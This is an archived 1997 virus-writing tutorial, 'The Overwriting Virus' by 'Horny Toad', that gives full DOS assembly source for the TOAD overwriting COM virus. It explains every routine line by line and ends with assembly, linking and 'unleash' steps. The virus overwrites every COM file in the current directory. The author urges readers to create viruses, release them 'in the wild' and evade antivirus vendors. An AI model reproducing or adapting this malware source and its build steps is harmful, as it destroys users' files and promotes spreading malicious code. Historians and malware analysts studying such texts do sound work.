home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK1.ZIP / Codbrk1 / Codbrk02.txt < prev    next >
Encoding:
Text File  |  1997-10-21  |  34.8 KB  |  685 lines

  1.                                    Lesson 1
  2.                             The Overwriting Virus
  3.                                       By
  4.                                   Horny Toad
  5.  
  6.     I spent many days pondering what would be the best and most effective way to teach a 
  7. beginner how to write virii.  I could start off with an in-depth lesson on assembly language, but I 
  8. am sure that it would bore you to tears without having a practical example of what I was talking 
  9. about.  I have looked at many of the virus writing tutorials and frankly, I am not pleased with the 
  10. method, the way that they begin a person's adventure on the road to virus creation. 
  11.     Dark Angel's guide to virus writing is definitely helpful, but it begins with the 
  12. assumption that you know how to code assembly.  He also doesn't touch on the most basic type 
  13. of virus, the COM overwriting virus.  This most basic type of virus should be taken advantage of 
  14. due to its very forgiving code structure.  It is an easy to understand small virus, therefore allowing 
  15. the beginner to grasp all of the basic structures of an assembly program and still retain a majority 
  16. of the techniques that are used in more advanced creations.  However advanced a virus' delivery 
  17. system is or its stealth anti-anti-virus defenses are, it still needs to use the standard read, write, 
  18. and comparing functions.
  19.     I have also taken a glance at many of the other tutorials and magazines that are floating 
  20. around the web and found that they are mainly designed for the intermediate to advanced 
  21. programmer.  This is a major gripe that I have today and, in my opinion, a key reason for the 
  22. decline in virus writing advances and individuality.  There was a boom in '89 - '91 in the virus 
  23. community.  Many firsts were coming out.  Code optimization was an issue and major concern.  
  24. The tighter the code, the more efficient the virus.  Currently, I am seeing a large number of hacks 
  25. of old virii and not enough new concepts and initiative.  My approach to teaching virus writing 
  26. will be to go back and start with the basics.  Through a procedural process, the beginner will learn 
  27. assembly by seeing the discussed techniques in an actual application.  I will also allow the 
  28. beginner to activate the virii without destroying his system.  When I have written a virus, I will 
  29. activate it on my own system.  I know the inner workings of the virus so well that I have no fears 
  30. that it will get out of control.  That is something that I demand of my previous students in writing 
  31. virii.  Before you release a virus out in the wild, make sure that you know what it does, how to 
  32. stop it just in case, and finally, know whether or not it really works.  I can't believe how many 
  33. times I have downloaded virus code that doesn't work.  Here you have people distributing code 
  34. that has no hope of even compiling!  These people are the AV shithead's wet dream; they are 
  35. doing the AV's work for them.  They are also allowing others to study your code that doesn't 
  36. work, quite the viscous  circle if you think about it.  Oh well, enough preaching.  I told you to 
  37. slap me if I start to ramble on so much.  Let's get on to your first lesson, your first virus!
  38.  
  39.  
  40.  
  41. Virus #1
  42.  
  43.  
  44. I hope this doesn't sound confusing, but assembly is both very difficult and very easy to 
  45. understand.  If you take the basic concepts one step at a time and see them in action, I am 
  46. confident that you will have no problems.  Assembly is very difficult in the fact that it is a very 
  47. unforgiving computer language to learn.  I swear that every time I write even the most simple of 
  48. programs, I am always holding my breath while TASM is doing its work.  The slightest error in 
  49. your code can be disastrous at compiling time.  Assembly programs are also difficult in the fact 
  50. that you are dealing with a low-level language.  When I write C++, VBA, and PASCAL 
  51. programs, I use a wide variety of state of the art processing and application software which 
  52. allows easy manipulation, organization, and error correcting of my code.  On the other hand, 
  53. when you work with assembly, you get a little more down and dirty and personal with the 
  54. computer.  For the most part, the compiling and creation programs for assembly are all DOS 
  55. based, rather than the pretty windows environment that we are usually used to seeing.  Assembly 
  56. is easy in the fact that, when used correctly, most code is very structured and organized through 
  57. the use of tight procedures and subroutines.  As I will show you in this first lesson, it is very easy 
  58. to identify routines within the program as to what their global function is in its execution.
  59.  
  60. Here is a listing of the instructional virus that I have written.  Keep in mind that no major 
  61. attempts have been made at breaking any world records with this virus, it is purely for 
  62. instructional purposes.  We will go through every piece of it so, by the end of the lesson, it will 
  63. look very familiar and be completely understandable.  Don't get discouraged when you first see 
  64. this, it will become clear soon enough.
  65.  
  66.  
  67. code    segment                 
  68.         assume  cs:code,ds:code      
  69.         org     100h
  70. toad    proc    near
  71.  
  72. first_fly:
  73.       mov     ah,4eh
  74. find_fly:
  75.         xor     cx,cx                                   
  76.         lea     dx,comsig                                      
  77.         int     21h
  78.         jc      wart_growth             
  79.  
  80. open_fly:
  81.         mov     ax,3d02h        
  82.         mov     dx,9eh          
  83.         int     21h
  84.  
  85. eat_fly: 
  86.         xchg    bx,ax            
  87.         mov     ah,40h
  88.         mov     cx,offset horny - offset first_fly          
  89.         lea     dx,first_fly      
  90.         int     21h
  91.  
  92. stitch_up:
  93.         mov     ah,3eh           
  94.         int     21h
  95.       mov     ah,4fh
  96.       jmp     find_fly
  97.  
  98. wart_growth:
  99.       mov     ah,09h
  100.       mov     dx,offset wart
  101.       int     21h
  102.  
  103. cya:    int     20h             
  104.  
  105. comsig  db      "*.com",0
  106. wart    db      'Congratulations! You have infected all the COM files 
  107. in this ',10,13
  108.       db      'directory with the Toad instructional virus. Have a 
  109. nice day.',10,13,'$'    
  110. horny   label   near
  111. toad    endp
  112. code    ends
  113.         end     first_fly
  114.  
  115.  
  116.        
  117.  
  118. That's it.  Are you still with me?  This is the base code that we will be dealing with for our first 
  119. virus.  I am going to divide this virus up into separate pieces and we will learn the individual parts 
  120. and what they do for the virus.
  121.  
  122. Initially, our virii will be using the COM file format.  The COM file is an older type of file format 
  123. than the EXE format, but a lot easy to understand and a good place to start off with.  A COM file 
  124. is limited in the size that it can take up.  It can only be one segment long, or 65,536 bytes.  At 
  125. first, when dealing with overwriting virii, this size limitation will not be a concern for us.  In 
  126. future lessons, when we start working with appending virii, size limitations will play a big part in 
  127. deciding which files we want to infect or leave alone.  The TOAD virus that is in lesson 1 will 
  128. show you the general format of the COM file.  When looking at the actual instructions and 
  129. directives, don't worry too much about the actual spaces between words and lines.  Try to follow 
  130. the general format of the TOAD virus because I have tried to stay with most of the programming 
  131. conventions in assembly.  The more and more code that you read, the better that you will get.
  132.  
  133.  
  134.  
  135. ========================================================
  136.  
  137.  
  138. code    segment
  139.  
  140. The segment directive defines the parameters for a segment.  In this instance we are defining the 
  141. code segment.  All of the executable code, the meat of our program will lie inside of the code 
  142. segment.  This segment does not necessarily have to be named "code" segment, but it is only 
  143. logical, and a good programming convention, to name it the "code" segment.  If we were dealing 
  144. with a larger program, one that had many procedures of external calls, we would definitely want 
  145. to define a specific segment as our data segment separate from the code.  Since this is a very 
  146. small piece of code, the two will be intermixed.
  147.  
  148.  
  149. ========================================================
  150.  
  151.  
  152. assume  cs:code,ds:code
  153.  
  154.  
  155. The assume directive lies within the code segment and matches the name that you gave your 
  156. segment, such as code, with associated register.  In our program, we are stating that the code and 
  157. data segment registers will be associated with the "code" segment.  What does this mean?  
  158. Basically we are still setting up the parameters of our COM file.  We are following convention by 
  159. defining where things are in our program and how they are set up.  What is the CS and DS 
  160. registers?  The code segment register is going to contain the starting address of your programs 
  161. code segment.  Essentially, it tells your computer where to begin to look for your executable 
  162. code.  Another register that I might as well bring up is the IP or instruction pointer register.  The 
  163. job of the IP is to contain the offset address of the next line of code that is to be executed.  What 
  164. is an offset address?  An offset address is not a true address of a line in your program, rather a 
  165. value of the distance away from a given point.  If you put two concepts together, the code 
  166. segment register added to the instruction point register will give you the next executable line in 
  167. your program.  The CS will stay constant as the IP counts up the lines of code.
  168.  
  169.  
  170. ========================================================
  171.  
  172.  
  173. org     100h
  174.  
  175. I would like you to commit this to memory - since we are making COM files the org 100h 
  176. directive will always follow the assume directive.  This directive is telling the computer that your 
  177. COM file is located ad 100 hex or 256 bytes.  This 100 hex distance is actually an offset directly 
  178. after the PSP or program segment prefix (See Appendix 2 for an example of the PSP format).  
  179. The value 100h is placed in the IP, telling the computer where to begin.  PSP contains 
  180. information about your program and is created in memory when the program is loaded.  In other 
  181. words, the PSP is not a permanent structure that is saved with the program.  I am going to end the 
  182. discussion on the PSP for now, due to the fact that we will be referencing it later on in the 
  183. program for information of the host we want our virus to infect.
  184.  
  185.  
  186. ========================================================
  187.  
  188.  
  189. toad    proc    near
  190.  
  191. Although not actually necessary, I am including a procedure directive to demonstrate good 
  192. programming convention.  A procedure is essentially a subroutine within the code segment.  
  193. Larger virii will contain many procedures, which can be called upon to perform a certain task.  
  194. Give the procedure a name and specify it near.  When we get into larger programs that deal with 
  195. calling procedures in different segments, we will experiment with the FAR specifier.  For now, I 
  196. wanted to include this so you would recognize the directive if you see it again in other code 
  197. examples.
  198.  
  199.  
  200. ========================================================
  201.  
  202.  
  203. first_fly:
  204.  
  205.         mov     ah,4eh
  206.  
  207. Now we get to the meat of the program, the actual virus.  If you take a look at the virus as a 
  208. whole, you can see that I have labeled different routines throughout the code.  Each one of these 
  209. routines has a specific function within the code.  The labels should be descriptive as to what they 
  210. accomplish or do.  The first on happens to be labeled first_fly.  This reminds me that this is the 
  211. routine that finds a file to infect.  The label also allows the program to jump to it if you need to 
  212. execute the routine again.
  213.  
  214. Oh no, the dreaded topic is now with us: registers.  What in the world is a register?  First I'll 
  215. explain what a register is, and then I will try to put them into an understandable perspective.  The 
  216. basic concept of registers is very easy to understand.  The aspect that makes registers difficult 
  217. occurs when you think that you are getting a grasp at using them, therefore, we will stick with the 
  218. basics.  A register is used to initiate instructions to the computer to execute a desired action.  A 
  219. register can be used to address memory and provide basic arithmetic functions.  Registers are also 
  220. used for the handling of data input and output.  The four general registers that we will be using in 
  221. this virus are AX, BX, CX, and DX (See Appendix 1 for a list of other registers).  The 
  222. accumulator register, or AX, is used for input/output operations and arithmetic calculations.  BX, 
  223. or the base register is used for calculations and can be used as an index to extend addressing.  CX, 
  224. or the count register can also be used for calculations and also as a control counter for loop 
  225. operations.  DX is the data register which like AX is used for input/output operations and 
  226. multiplying and dividing operations which use large numbers.  Terrific, now what does all of this 
  227. mean?  My grandfather had this old antique calculator that weighed about one hundred pounds.  
  228. What you did was push these big old buttons down and pulled a large lever back, which made the 
  229. calculations and printed the answer on a piece of paper.  Visualize this: the numbers that you are 
  230. pushing on the calculator are just like setting values in the general registers, as far as input/output 
  231. operations are concerned.  With each, you are giving the machine a set of conditions, information 
  232. to process.  The big lever on the calculator is like the dos interrupts.  Just as you would pull the 
  233. lever to get an answer, the interrupts initiate the computer to process the conditions that you have 
  234. set in the general registers and give appropriate output.  This is a very simplistic view of how the 
  235. registers work, but if you at least grasp the concept, you are doing great!
  236.  
  237. Oh, let's get back on track with this routine.  As I said before, the purpose of the get_fly routine is 
  238. to find a file to infect.  Actually, the exact output will be to find the first file in the directory that 
  239. has the attributes we want.  Therefore, we need to load the conditions into the general registers 
  240. and execute an interrupt.  One thing that I failed to mention about the general registers is that they 
  241. are all 16 bit registers with a high and a low portion each 8 bits a piece.  AX divides into its 
  242. high/low portions as such: AH for the high portion, and AL for the low portion, each being 8 bits.  
  243. All of the general registers follow the same breakdown: BH - BL, CH - CL, and DH - DL.  The 
  244. values that need to be loaded into the general registers for this routine are 4e hex into AH, CX 
  245. needs to be zero in order to set normal file attributes, and finally, DX needs a string containing 
  246. the file specs we are looking for.  In order to move the value 4e hex into AH we use the MOV 
  247. command.  The MOV command transfers the value of the second operand to the first without 
  248. changing the value of the second operand.  In other words, MOV AH, 4eh should read "move the 
  249. value 4e hex into AH".
  250.  
  251.  
  252. ===========================================================
  253.  
  254.  
  255.  
  256. find_fly:
  257. xor     cx,cx
  258.  
  259. The next task that we need to do is zero the value of CX.  This can be done two ways.  The 
  260. obvious way, which you probably already guessed, would be to MOV CX, 0, which would work.  
  261. As I mentioned before, virus writers need to try to optimize and tighten their code, therefore the 
  262. command that uses the least amount of space should be used.  The MOV CX, 0 takes 3 bytes of 
  263. space, while the XOR CX, CX takes only 2 bytes.  XOR or "exclusive or" is a logical instruction 
  264. that, when both operands are equal, the first operand is cleared to zero.  Anyway, as long as you 
  265. understand the concept, I'm happy.
  266.  
  267.  
  268. ===========================================================
  269.  
  270.  
  271. lea     dx,comsig 
  272.  
  273. The next thing we need to do is load the string with the file specs we are looking for into DX.  
  274. The file specs that we are looking for are COM files.  The string is therefore *.COM.  This is a 
  275. wildcard search for any file with the extension ".COM" at the end of it.  The string is defined at 
  276. the comsig address in the data segment of our virus.  In order to move this string into DX, we 
  277. need to LEA DX, comsig, or <L>oad the <E>ffective <A>ddress of comsig into DX.  We could 
  278. also use the MOV command for this operation, which would look like this - MOV DX, offset 
  279. comsig.  This essentially does the same thing by loading the offset of the address of comsig into 
  280. DX.
  281.  
  282.  
  283. ===========================================================
  284.  
  285.  
  286.  
  287. int     21h
  288.  
  289. The INT command executes the desired function that you have set up.  Avoiding much of the 
  290. detail, the program halts and the interrupt vector table is accessed for the address of your 
  291. specified interrupt.  There are 256 possible interrupts, although, if you add all the possibilities 
  292. there are with different register settings, there are hundreds of instructions that can be initiated. 
  293. See Ralf Brown's Interrupt List (address for list is mentioned in article 10 - "Need Further Help") 
  294. for a listing of all the interrupts.  As I mentioned before, the interrupt is executing the routine that 
  295. we have specified through the loading of the general registers.  Now it is time to process the 
  296. output.
  297.  
  298.  
  299.  
  300. ===========================================================
  301.  
  302.  
  303.  
  304. jc      wart_growth
  305.  
  306. Our next instruction will be the conditional jump.  Just like it sounds, if certain conditions are 
  307. met, the offset of wart_growth, in this example, is added to the IP and the program continues 
  308. functioning at location wart_growth, which is user defined.  There are many conditional jumps 
  309. that exist.  Scroll down to Appendix 3 to view examples of the other conditional jumps.  There is 
  310. also an unconditional jump, JMP that jumps regardless of existing conditions.  The jump 
  311. instruction can be used as a way to skip over data or execute another routine.  In this instance we 
  312. perform a check to see if certain conditions exits.  Once the interrupt has been completed from the 
  313. previous line, if a program was found, the carry flag is set to zero, if not it is set to one.  The JC 
  314. command checks to see if the carry flag is set to one.  If so, it jumps to wart_growth and executes 
  315. the command at that offset.  If the carry flag is set to zero, signifying that a program was found, 
  316. the jump is ignored and the next line is executed.  All right, all right, calm down... I realize you 
  317. are probably saying, "Toad, what the hell is a flag?"  Flags will be dealt with in detail in the next 
  318. issue of the magazine, but for now, the flags hold the current status of the computer and the 
  319. processing that has been done.  Among many of their uses, flags can be used to save or test 
  320. certain conditions that the computer is currently set at.  Understand?
  321.  
  322.  
  323.  
  324. =============================================================
  325.  
  326.  
  327.  
  328. open_fly:
  329.         mov     ax,3d02h        
  330.         mov     dx,9eh          
  331.         int     21h
  332.         
  333.  
  334. Ok, assuming that our virus was successful in finding a COM file in the directory, we now need 
  335. to open the file. This is accomplished by an int 21 with the following general register settings:  
  336. First 3d hex needs to be loaded into Alt.  AL needs to be loaded with a certain access code.  We 
  337. will be using code 02h to open the file in read/write mode.  00h in AL would open it in read only 
  338. and 01h in AL would be write only.  Remember that AX is a 16-bit register consisting of two 
  339. portions, AH and AL.  We can therefore load both values in at the same time.  We do this by 
  340. loading AX with 3d02h.  Remember to always use the hex values so that you don't get them 
  341. confused.  A common mistake is to execute these simple dos interrupts without putting the "h" 
  342. after int 21.  The computer would read this and have a shit fit because you were using a decimal 
  343. value.  Stay cool, stay hex.  Once AX is taken care of, we move onto DX.  DX needs to be loaded 
  344. with the ASCIIZ string, which is the file name of the poor bastard we are about to infect.  I can 
  345. hear it now... "What the hell is 9eh, it sure doesn't look like a file name to me?"  Relax.  9e hex 
  346. is not a string; rather it is an offset to the address containing the string.  9e hex is located within 
  347. the PSP that we talked about earlier, in an area called the DTA or <D>isk <T>ransfer <A>rea.  
  348. Remember that the PSP starts at 00h.  The address for the beginning of the DTA is 80 hex.  
  349. Within the DTA is information on the file that was found in the previous routine.  What we need 
  350. is the file name, which is located at offset 1eh from the beginning of the DTA.  If we add these 
  351. offsets together, we get 9eh.  Load 9e hex into the DX register.  We now execute an int 21h to 
  352. execute the routine.
  353.  
  354.  
  355. ==============================================================
  356.  
  357.  
  358.  
  359. eat_fly: 
  360.        xchg    bx,ax
  361.         mov     ah,40h
  362.         mov     cx,offset horny - offset first_fly 
  363.         lea     dx,first_fly      
  364.         int     21h
  365.  
  366. The task that we are now dealing with is the actual infection of the opened file.  For this we will 
  367. be using int 21h with 40 h loaded in Alt.  In the previous routine, when the file was opened, the 
  368. computer assigned the file a unique file handle and placed it in AX.  Unfortunately, we need that 
  369. file handle in BX for the write record function.  Easy enough...All we do is MOV BX, AX, right?  
  370. Correct, that would work although, we are still worried about optimizing.  I would therefore like 
  371. to take the time to introduce a new directive, Xchg or exchange.  This command allows us to 
  372. exchange data between two registers, which is exactly what we want to do.  We also save 1 byte 
  373. using the xchg rather than the MOV.  Every bit (or should I say Byte) counts.  CX needs to be 
  374. loaded with the amount of bytes that we want to write.  Instead of a numerical amount, we are 
  375. going to cheat and let the computer figure out the distance between offsets of assigned labels.  We 
  376. are telling the computer that the amount of the distance from first_fly to horny is the amount of 
  377. bytes we want to write.  Finally, DX needs to be loaded with the address of from which we want 
  378. to write.  The address of first_fly is loaded into DX.  This is the beginning of the code that we 
  379. want written to the infected file.  Do the familiar int 21h and the infection is complete.
  380.  
  381.  
  382. ===========================================================
  383.  
  384.  
  385.  
  386. stitch_up:
  387.         mov     ah,3eh           
  388.         int     21h
  389.         mov        ah,4fh
  390.       jmp        find_fly
  391.  
  392.  
  393. Now that the file is infected, we need to close up the file with int 21h and 3e hex in AH.  Since 
  394. we already put the file handle in BX, we don't have to worry about that. Now our virus will start 
  395. to look for the next file to infect.  We load 4f hex in ah and jump back to the rest of the finding 
  396. file routing.  You will see that we use the same general register loads for this routine.  The entire 
  397. TOAD virus is one big loop.  It continues on infecting one file after another until the carry flag is 
  398. set to one, indicating that no further files were found.  A message is then displayed and the virus 
  399. terminates. 
  400.  
  401. ===================================================================
  402.  
  403.  
  404. wart_growth:
  405.       mov     ah,9
  406.       mov     dx,offset wart
  407.       int     21h
  408.  
  409. The next routine can actually be deleted and the virus would still work.  All that wart_growth 
  410. does is display a message on the screen.  This is done by an int 21h with 09h loaded into AH.  
  411. The address of the string, which is defined later in the virus, that we want to display to the screen 
  412. needs to be loaded into DX, which you already know how to do.  After the message is displayed 
  413. to the screen, signifying the end of the virus, the next line (cya) is executed.
  414.  
  415.  
  416. ==================================================================
  417.  
  418.  
  419.  
  420. cya:    int     20h
  421.  
  422. After the message is displayed, the virus needs to terminate operation.  Loading 4CH into AH and 
  423. doing an int 21h does this.  You will also see int 20h being used to terminate a program, but this 
  424. is an old obsolete interrupt, although, it still does work.  Use either.  When using int 20h, no 
  425. registers need to be set.
  426.  
  427.  
  428. ==================================================================
  429.  
  430.  
  431. comsig  db      "*.com",0
  432.  
  433. wart    db      'Congratulations! You have infected all the COM files 
  434. in this',10,13
  435.          db      'directory with the Toad instructional virus. Have a 
  436. nice day.',10,13,'$'
  437.  
  438. We now get to the easy section of the virus, the data section.  This is where we define our data.  
  439. The first thing that we are going to define is comsig.  This is my signature of a COM file, the 
  440. wildcard character (*) and the ".com" extension.  We use the define byte, of DB, to define a 
  441. string, which is located within parenthesis.  The string cannot go past the end of the line.  When 
  442. assigning "*.com" to comsig, place a comma and 0 to signify the end of the string.  When 
  443. assigning the character string to wart, I have included the 10 and 13 at the end of each line.  What 
  444. this does is advance to the next line.  If, after the first line, the 10 and 13 were omitted, the two 
  445. strings would run together and print to screen together.  The $ at the end of the second line ends 
  446. the string.
  447.  
  448.  
  449.  
  450. ===================================================================
  451.  
  452.  
  453. horny   label   near
  454.  
  455. Horny is a label within the toad procedure.  Its only real purpose is to act as an addressable offset 
  456. for defining the length of virus code to infect the file with.  There are a number of other uses for 
  457. the label directive, which we will cover in a later lesson.
  458.  
  459.  
  460. ===================================================================
  461.  
  462.  
  463. toad    endp
  464. code    ends
  465. end     first_fly
  466.  
  467.  The next three lines essentially close up the virus code.  "Toad endp" terminates the toad 
  468. procedure that was initiated with "toad proc near."  "Code ends" defines the end of the code 
  469. segment.  If I had defined a data segment, I would have ended it with "data ends."  The end 
  470. directive marks the end of the virus.  First_fly indicates to the computer where to start execution 
  471. of the code, which should be somewhere in the code segment.  Sorry for the brevity of the 
  472. description of the final lines, but they really are simple, they are completing, or closing up the 
  473. beginning lines of our virus code. 
  474.  
  475. ================================================================
  476.  
  477.  
  478. One thing that I might as well mention now is commenting your code.  Putting comments in your 
  479. source code helps you to remember what each routing, line, and instruction does.  This may not 
  480. be very important when you are dealing with a virus that is under a page long, but when you start 
  481. writing longer more in depth code, you might need little comments implanted here and there to 
  482. remind you what each section does.  The symbol that initiates a comment is the semi-colon.  If 
  483. you remember the old basic REM statement, everything after the indicator is not executed.  In 
  484. fact, the assembler does not even compile the comments, so there is absolutely no reason that you 
  485. shouldn't put in pages of comments.  Here is an example:
  486.  
  487. find_fly:                                 
  488.         xor     cx,cx                     ;zero out value of cx              
  489.         lea     dx,comsig                 ;load our com file signature                     
  490.         int     21h                  ;do the good ole dos inter
  491.         jc      wart_growth               ;no more files found/message
  492.  
  493.  
  494. ================================================================
  495.  
  496.  
  497. Compiling and Unleashing the Toad Virus
  498.  
  499. Well, congratulations, you have finished the first lesson in virus writing.  My goal at the 
  500. beginning of this tutorial was to introduce you to the most basic type of virus, the overwriting 
  501. virus.  Through this introduction, I also wanted to explain some of the basic assembly instructions 
  502. and directives.  I feel that I have done both.  Understand that you will not be an expert virus 
  503. programmer after reading this text, rather you will have taken your first step on the adventure of 
  504. creating wonderful virii.
  505.  
  506. The next step for you to do is compile this virus and watch it infect a file.  The program that you 
  507. will be using to compile the source code is TASM.  TASM is a very awesome compiler.  Please, 
  508. do not use MASM.  The linker program that you will be using is TLINK, which turns the 
  509. compiler's output into an executable program.  It really doesn't matter which editor that you use 
  510. to type the asm file with.  You can actually use any word processor that you want.  When it 
  511. comes time to compiling the virus, switch to dos and follow the instructions below.  I would like 
  512. for you to type the virus out yourself, but I have included a zipped directory, create, that contains 
  513. the coded asm file.  In order to compile the virus, save the virus as an ".asm" file.  With TASM in 
  514. the same directory, type:
  515.  
  516. C:\>tasm toad.asm  (You can actually do this from any directory that you want)
  517.  
  518. The result should be:
  519.  
  520. Turbo Assembler Version 2.01
  521.  
  522. Assembling file:         toad.asm
  523. Error Messages:          none
  524. Warning Messages:        none
  525. Passes:                  1
  526. Remaining Memory:        418k (or something similar)
  527.  
  528.  
  529. If there was an error in the code, TASM will indicate it in the error messages line.  If you have 
  530. typed the code in yourself and there is an error, revert back to the file "toad.asm" and take a look 
  531. at my code, it works. If there are too many problems with your code and you'd just like to see 
  532. how all this stuff works, switch to the "create" directory and type the above instructions again.  
  533. There is a copy of the "toad.asm" and TASM and TLINK in this directory. What TASM has done 
  534. is convert the ASM file into an OBJ file.  In order to get an executable COM file, we need to use 
  535. the linker.  Type:
  536.  
  537. C:\>tlink /t toad.obj
  538.  
  539. Tlink will return TOAD.COM in the current directory.  You now have a virus in front of you.  
  540. Don't get scared, it won't bite.  Now you will need to move the virus from the current directory to 
  541. the pond directory. Type:
  542.  
  543. C:\>copy toad.com c:\pond\
  544.  
  545. Then type :
  546.  
  547. C:\>cd ..\pond
  548.  
  549. This will move you to the pond directory.  Now list the contents of the directory by typing:
  550.  
  551. C:\pond>dir
  552.  
  553. You will see that there are two files in this directory, TOAD.COM and FLY.COM.  TOAD.COM 
  554. is your virus and FLY.COM is the file that you are going to infect.  FLY.COM is just a simple 
  555. COM file that does absolutely nothing.  Easy prey! Take a note of the size of the two files, 6 and 
  556. 180.  Now unleash the virus by typing:
  557.  
  558. C:\pond>toad
  559.  
  560. The message that we defined in wart will be displayed.  Now list the contents of the directory 
  561. again.  You will now see that both of the files are the same size.  FLY.COM is now infected.  
  562. Unfortunately, you will now see the downsides of this form of virus; it infects all COM files in 
  563. the current directory regardless of whether or not they have already been infected.  In future 
  564. issues of the magazine, I will show you techniques of checking whether a file has already been 
  565. infected.  If all your attempts to compile and link the toad virus fail, I have included a compiled 
  566. copy of the toad virus and many fly.com files in the TOAD directory.  Change to the TOAD 
  567. directory and type toad.  The fly files will become infected. 
  568.  
  569.  
  570.  
  571.  
  572. ===============================================================
  573.  
  574.  
  575.  
  576.  
  577.  
  578. Appendix 1 - The Registers
  579.  
  580.  
  581.  AX     Accumulator
  582.  BX     Base register
  583.  CX     Counting register
  584.  DX     Data register
  585.  DS     Data Segment register
  586.  ES     Extra Segment register
  587.  SS     Stack Segment register
  588.  CS     Code Segment register
  589.  BP     Base Pointers register
  590.  SI     Source Index register
  591.  DI     Destiny Index register
  592.  SP     Stack Pointer register
  593.  IP     Next Instruction Pointer register
  594.  F      Flag register
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605. Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
  606.  
  607. Format of Program Segment Prefix (PSP):
  608. Offset    Size    Description    (Table 1032)
  609.  00h  2 BYTEs    INT 20 instruction for CP/M CALL 0 program termination
  610.         the CDh 20h here is often used as a signature for a valid PSP
  611.  02h    WORD    segment of first byte beyond memory allocated to program
  612.  04h    BYTE    (DOS) unused filler
  613.         (OS/2) count of fake DOS version returns
  614.  05h    BYTE    CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
  615.         BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
  616.  06h    WORD    CP/M compatibility--size of first segment for .COM files
  617.  08h  2 BYTEs    remainder of FAR JMP at 05h
  618.  0Ah    DWORD    stored INT 22 termination address
  619.  0Eh    DWORD    stored INT 23 control-Break handler address
  620.  12h    DWORD    DOS 1.1+ stored INT 24 critical error handler address
  621.  16h    WORD    segment of parent PSP
  622.  18h 20 BYTEs    DOS 2+ Job File Table, one byte per file handle, FFh = closed
  623.  2Ch    WORD    DOS 2+ segment of environment for process (see #1033)
  624.  2Eh    DWORD    DOS 2+ process's SS:SP on entry to last INT 21 call
  625.  32h    WORD    DOS 3+ number of entries in JFT (default 20)
  626.  34h    DWORD    DOS 3+ pointer to JFT (default PSP:0018h)
  627.  38h    DWORD    DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
  628.         used by SHARE in DOS 3.3
  629.  3Ch    BYTE    DOS 4+ (DBCS) interim console flag (see AX=6301h)
  630.         Novell DOS 7 DBCS interim flag as set with AX=6301h
  631.         (possibly also used by Far East MS-DOS 3.2-3.3)
  632.  3Dh    BYTE    (APPEND) TrueName flag (see INT 2F/AX=B711h)
  633.  3Eh    BYTE    (Novell NetWare) flag: next byte initialized if CEh
  634.         (OS/2) capabilities flag
  635.  3Fh    BYTE    (Novell NetWare) Novell task number if previous byte is CEh
  636.  40h  2 BYTEs    DOS 5+ version to return on INT 21/AH=30h
  637.  42h    WORD    (MSWindows3) selector of next PSP (PDB) in linked list
  638.         Windows keeps a linked list of Windows programs only
  639.  44h    WORD    (MSWindows3) "PDB_Partition"
  640.  46h    WORD    (MSWindows3) "PDB_NextPDB"
  641.  48h    BYTE    (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
  642.  49h    BYTE    unused by DOS versions <= 6.00
  643.  4Ch    WORD    (MSWindows3) "PDB_EntryStack"
  644.  4Eh  2 BYTEs    unused by DOS versions <= 6.00
  645.  50h  3 BYTEs    DOS 2+ service request (INT 21/RETF instructions)
  646.  53h  2 BYTEs    unused in DOS versions <= 6.00
  647.  55h  7 BYTEs    unused in DOS versions <= 6.00; can be used to make first FCB
  648.           into an extended FCB
  649.  5Ch 16 BYTEs    first default FCB, filled in from first commandline argument
  650.         overwrites second FCB if opened
  651.  6Ch 16 BYTEs    second default FCB, filled in from second commandline argument
  652.           overwrites beginning of commandline if opened
  653.  7Ch  4 BYTEs    unused
  654.  80h 128 BYTEs    commandline / default DTA
  655.         command tail is BYTE for length of tail, N BYTEs for the tail,
  656.           followed by a BYTE containing 0Dh
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665. Appendix 3 - Examples of various JUMP commands
  666.  
  667. JA    - Jump if Above
  668. JAE    - Jump if Above/Equal         
  669. JB    - Jump if Below
  670. JBE    - Jump if Below/Equal
  671. JC    - Jump if Carry
  672. JE    - Jump if Equal
  673. JG    - Jump if Greater
  674. JGE    - Jump if Greater/Equal
  675. JL    - Jump if Less
  676. JLE    - Jump if Less/Equal
  677. JMP    - Jump
  678. JNA    - Jump if Not Above
  679. JNAE    - Jump if Not Above/Equal
  680.  
  681. There are many other jump commands.  In the next edition of the mag, I will include a detailed reference of 
  682. all the jump commands and the flags that are tested.  The understanding of how this command works is 
  683. very important.
  684.  
  685.